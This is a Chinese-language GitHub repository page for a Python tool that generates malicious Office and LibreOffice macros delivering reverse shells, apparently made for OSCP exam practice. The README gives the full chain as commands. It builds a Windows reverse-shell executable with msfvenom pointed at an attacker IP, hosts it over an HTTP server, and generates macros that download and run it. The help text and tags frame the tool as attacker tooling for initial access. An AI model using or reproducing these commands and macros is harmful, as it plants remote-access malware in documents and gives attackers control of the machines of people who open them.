jotyGill/macro-generator

GitHub: jotyGill/macro-generator

用于生成 MS Office 和 LibreOffice 恶意宏代码的 Python 脚本,支持多种反向 Shell 技术实现。

Stars: 24 | Forks: 1

### macro-generator.py:使用不同技术为 MS Office 和 Libreoffice 生成恶意宏 一个脚本,可快速生成带有反向 Shell 的宏,支持 MS Office 的 3 种方法和 Libreoffice 或 Openoffice 的 1 种方法 为准备 OSCP 而创建 使用类似以下内容创建反向 Shell exe ``` msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=443 -f exe -o win/rshell.exe ``` 设置 HTTP 服务器以使用方法 3 和 4 传递 Payload ``` python3 -m http.server -d . 80 ``` 生成宏以粘贴到 Microsoft Office 和 Libre Office 中 ``` python3 macro-generator.py --host 192.168.1.1 --port 443 -r ':80/win/rshell.exe' ``` 帮助菜单 ``` Usage: macro-generator.py: Generate malicious macros using different techniques for MS Office and Libreoffice [-h] [-l HOST] [-p PORT] [-r RSHELL_PATH] options: -h, --help show this help message and exit -l HOST, --host HOST IP address of attacker host -p PORT, --port PORT PORT number of attacker listener -r RSHELL_PATH, --rshell RSHELL_PATH Reverse rshell.exe location hosted on attacker machine, default=/win/rshell.exe, i.g ":8000/exp/shell.exe" ```
标签:ESC8, LibreOffice, msfvenom, MS Office, OSCP备考, Payload生成, Python, VBA, 代码执行, 初始访问, 反向Shell, 宏病毒, 恶意宏, 数据展示, 文档攻击, 无后门, 社会工程学, 红队, 逆向工具